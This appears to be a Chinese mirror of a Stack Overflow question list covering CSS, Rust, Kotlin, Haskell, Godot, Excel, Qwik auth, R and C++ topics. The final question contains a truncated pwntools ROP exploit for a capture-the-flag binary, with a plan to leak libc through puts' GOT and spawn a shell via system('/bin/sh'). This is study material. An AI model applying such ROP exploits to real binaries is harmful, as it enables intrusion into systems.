问题列表 - 第318067页

附加点的列表样式

我正在寻找能够显示大小不断增加的列表的 CSS 属性或列表样式。就像是

Buy now to get a discount!

<ol style="list-style: none">
  <li>* Only available for the first 12 months</li>
  <li>** Only available for new customers signing up for a paid plan</li>
</ol>
Run Code Online (Sandbox Code Playgroud)

在我的特定情况下,标签的数量是任意的<li>,因此最好 CSS 样式可以处理增加每行星号的数量,而无需我自己进行硬编码或计算。

html css

2
推荐指数
1
解决办法
69
查看次数

您可以将值从 Arc&lt;Mutex&lt;Vec&gt;&gt; 移动到 &amp;mut Vec 而无需传输它们吗?

是否可以将项目从 an Arc<Mutex<T>>(T是 aVec或 a HashMap,但我猜是任何类型)移动到 an ,&mut T而无需通过在类型之间排出/添加项目来转移项目的计算成本?

例如:

fn main() {
  let mut items = Vec::<usize>::new();
  
  {
    let mut items_ref = &mut items;
    let mut items_protec = Arc::new(Mutex::new(Vec::<usize>::new()));

    {
      // do stuff to items_protec
    }

    // Move items to ref
    // Does the compiler optimize this away?
    let mut items_unprotec = items_protec.lock().unwrap();
    while let Some(item) in items_unprotec.pop() {
      items_ref.push(item);
    }
  }

  for item in &items {
    println!("{}", item);
  }
} …
Run Code Online (Sandbox Code Playgroud)

rust

2
推荐指数
1
解决办法
55
查看次数

为什么 Kotlin 中 "".equals(1) 有效但 "" == 1 无效?

我目前正在学习 Kotlin,遇到了一种令我困惑的行为。这是让我困惑的两行代码:

"".equals(1) // not compile error
"" == 1 // compile error
Run Code Online (Sandbox Code Playgroud)

"".equals(1)- 此行编译并运行没有任何问题。

"" == 1- 但是,该行会导致编译时错误。

据我了解,在 Kotlin 中,==运算符被翻译为对 equals 方法的调用。所以我很好奇为什么第一个语句被认为是有效的,而第二个语句则不是,尽管两者似乎都试图在 String 和 Int 之间进行相同的比较。

有人可以解释一下 Kotlin 中使第一个语句编译并运行而不是第二个语句的底层机制吗?

equality kotlin

4
推荐指数
1
解决办法
135
查看次数

Haskell 分析了解匿名 lambda 的成本中心摘要

我正在尝试分析用 Haskell 编写的中型编译器。在示例文件上运行它时,我得到以下分析数据:

vehicle +RTS -po.profiling/vehicle-1706073721 -p -RTS compile --target MarabouQueries --specification vehicle/tests/golden/compile/acasXu/spec.vcl --network acasXu:vehicle/tests/golden/compile/acasXu/fake.onnx

    total time  =        0.72 secs   (716 ticks @ 1000 us, 1 processor)
    total alloc = 1,558,506,104 bytes  (excludes profiling overheads)

COST CENTRE             MODULE                                          SRC                                                                       %time %alloc

fmap                    Vehicle.Prelude.Logging.Backend                 src/Vehicle/Prelude/Logging/Backend.hs:49:13-19                            19.7   21.2
runVehicle.\            Vehicle                                         src/Vehicle.hs:(56,46)-(67,52)                                             12.2   19.3
fmap                    Vehicle.Prelude.Supply                          src/Vehicle/Prelude/Supply.hs:28:13-19                                      9.1    8.2
compileDecls            Vehicle.Backend.Queries                         src/Vehicle/Backend/Queries.hs:(87,1)-(101,47)                              5.7    7.2
$mRelevantExplicitArg.\ Vehicle.Syntax.AST.Arg                          src/Vehicle/Syntax/AST/Arg.hs:51:36-60                                      5.6    5.4
>>=                     Vehicle.Prelude.Logging.Backend                 src/Vehicle/Prelude/Logging/Backend.hs:49:35-39                             4.3    2.9
fmap                    Vehicle.Compile.Context.Free.Instance           src/Vehicle/Compile/Context/Free/Instance.hs:24:13-19                       4.3    4.2
>>=                     Vehicle.Prelude.Supply                          src/Vehicle/Prelude/Supply.hs:28:35-39                                      3.2 …
Run Code Online (Sandbox Code Playgroud)

profiling haskell

4
推荐指数
1
解决办法
79
查看次数

Godot java.lang.IllegalStateException:没有 Chimera impl 的服务

我发布了一个用 Godot 3.5.2 制作的游戏

但 Play 控制台报告有一个与堆栈调用 java.lang.IllegalStateException 相关的错误:motorola Motorola G20 Android 11 (SDK 30) 4.096 MB arm64-v8a vi_VN(越南语)上发生没有 Chimera impl 的服务错误

以前有人遇到过这个吗?我没有摩托罗拉设备,如何查看?Android 没有任何摩托罗拉模拟器。

这是报告

Exception java.lang.IllegalStateException: Service without Chimera impl
  at android.os.Parcel.createExceptionOrNull (Parcel.java:2382)
  at android.os.Parcel.createException (Parcel.java:2358)
  at android.os.Parcel.readException (Parcel.java:2341)
  at android.os.Parcel.readException (Parcel.java:2283)
  at nbg.gf (:com.google.android.gms@234914031@23.49.14 (150400-590296185):11)
  at ndf.h (:com.google.android.gms@234914031@23.49.14 (150400-590296185):15)
  at sau.a (:com.google.android.gms@234914031@23.49.14 (150400-590296185):34)
  at sbb.s (:com.google.android.gms@234914031@23.49.14 (150400-590296185):30)
  at sbb.v (:com.google.android.gms@234914031@23.49.14 (150400-590296185):125)
  at sbb.i (:com.google.android.gms@234914031@23.49.14 (150400-590296185):4)
  at sbb.j (:com.google.android.gms@234914031@23.49.14 (150400-590296185):8)
  at sbb.f (:com.google.android.gms@234914031@23.49.14 (150400-590296185):21)
  at bagi.b (:com.google.android.gms@234914031@23.49.14 (150400-590296185):33)
  at …
Run Code Online (Sandbox Code Playgroud)

java mobile android game-engine godot

8
推荐指数
1
解决办法
1196
查看次数

从单元格中提取长度恰好为 10 个字符且包含数字和字母的单词

正在寻找专家,希望有人能够帮助我。我有一个很长的联想产品清单,我正在寻找一种方法从中提取其产品编号。问题是该号码可能位于单元格的任何位置。首先,我们知道数字有 10 个字符长,它总是包含数字和字母,并且它们之间没有特殊字符。有时数字位于括号中或在其前后有一些特殊字符(例如 - _ " < 等)。我不需要它们,我正在寻找确切的 10 个字母或数字,并且其中至少有 1 个数字。在示例的最后一行中,有 2 个包含 10 个字符的单词 - THINKCENTRE 和 12Q6000AGE。THINKCENTRE 不包含数字,因此应将其排除。

输入 期望的结果
军团 T5 (90SV003WGE) 90SV003WGE
FLEX 5 (82R700BEGE) XKLUSIV 82R700BEGE
V17-IRU 83A2001NGE 83A2001NGE
联想 E16 G1 21JT000HGE_WIN 11 21JT000HGE
联想 THINKCENTRE M70T 12Q6000AGE I7-12 12Q6000年龄
IDEAPAD 3 17ALC6 0 或空

不确定这是否可以通过公式来实现,我尝试了不同的公式,但它给了我不同的结果。我设法找到一种方法来提取最长的单词,但通常这个数字不是最长的和/或包含大量需要清理的字符。

excel vba text-extraction excel-formula

0
推荐指数
1
解决办法
113
查看次数

错误 UnknownAction:无法解析 /api/auth/session 处的操作

我更新后package.json在项目中遇到这个错误

pacage.json 更改 在此输入图像描述

当我运行项目时出现此错误:

在此输入图像描述

import { serverAuth$ } from '@builder.io/qwik-auth'
import type { Provider } from '@auth/core/providers'
import Keycloak from '@auth/core/providers/keycloak'

export const { onRequest, useAuthSession, useAuthSignin, useAuthSignout } = serverAuth$(
    ({ env }) => ({
        secret: env.get("AUTH_SECRET"),
        trustHost: true,
        callbacks: {
            async session({
                session,
                token,
            }) {
                session.user.guid = token.sub
                return session
            }
        },
        providers: [
   
        ] as Provider[],
    })
);

Run Code Online (Sandbox Code Playgroud)

javascript qwik

0
推荐指数
1
解决办法
864
查看次数

分类变量中的数学运算符

在我的数据框中,我有一个具有以下类别的变量:A1, A2, A3, 。。。B1, B2, B3, . 。。Z1, Z2, Z3.

虽然变量不是数字,但我们可以根据字母和数字定义它们之间的逻辑顺序(上面描述的类别的顺序)。


我的问题是:

我们可以对这种类型的变量使用<,=和运算符吗?>

例如,如果我想选择值介于var1和 之间的A1行G3。我们可以使用类似的东西df[df$var1>="A1" & df$var1<="G3",]吗?

我在 STATA 中看到了类似的代码,我想知道是否可以在 R 中做类似的事情。提前致谢。

r categories

5
推荐指数
1
解决办法
94
查看次数

std::filesystem 的parent_path() 对于当前目录中的文件是错误的?

传统的 Unix shell 实用程序dirname查找包含给定文件的目录的名称。如果您想在同一目录中查找其他姐妹文件,这非常有用。这里有一些例子:

$ dirname /some/dir/filename
/some/dir
$ dirname dirname/filename  
dirname
$ dirname filename
.
Run Code Online (Sandbox Code Playgroud)

新的 C++ std::filesystem 的parent_path()最后一个错误(或者看起来是这样):

$ dirname /some/dir/filename
/some/dir
$ dirname dirname/filename  
dirname
$ dirname filename
.
Run Code Online (Sandbox Code Playgroud)

输出:

parent of filename: ""
Run Code Online (Sandbox Code Playgroud)

返回空字符串而不是“.” 不仅与传统的不同dirname,当在想要在此父级上添加“/...”以创建姐妹文件的名称的代码中使用时也是错误的 - 这会导致错误的“/sister”而不是预期为“./妹妹”。

这是 std::filesystem 中的错误还是故意行为?这种行为的原因是否记录在某处?

c++ c++17 std-filesystem

7
推荐指数
1
解决办法
127
查看次数

x64 中的堆栈对齐不是 16 字节?

我尝试了这段代码:

\n
#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nfrom pwn import *\n\nelf = context.binary = ELF(args.EXE or 'callme')\nlibc = elf.libc\nrop = ROP([elf, libc])\npop_rdi = p64(0x00000000004009a3)\nret = p64(0x00000000004006be)\n\ndef start(argv=[], *a, **kw):\n    '''Start the exploit against the target.'''\n    if args.GDB:\n        return gdb.debug([elf.path] + argv, gdbscript=gdbscript, *a, **kw)\n    else:\n        return process([elf.path] + argv, *a, **kw)\n\ngdbscript = '''\nbreak *pwnme+89\ncontinue\n'''.format(**locals())\n\noffset = b'A' * 40\n\n'''\n1. print a leak to the address in libc in puts()'s GOT\n2. grab that leak, calculate system and '/bin/sh'\n3. call it. GG\n'''\n\nrop.raw(offset)\nrop.call('puts', [elf.got['puts']])\nrop.call('main')\n\n\n\nio …
Run Code Online (Sandbox Code Playgroud)

python assembly stack x86-64 ctf

1
推荐指数
1
解决办法
90
查看次数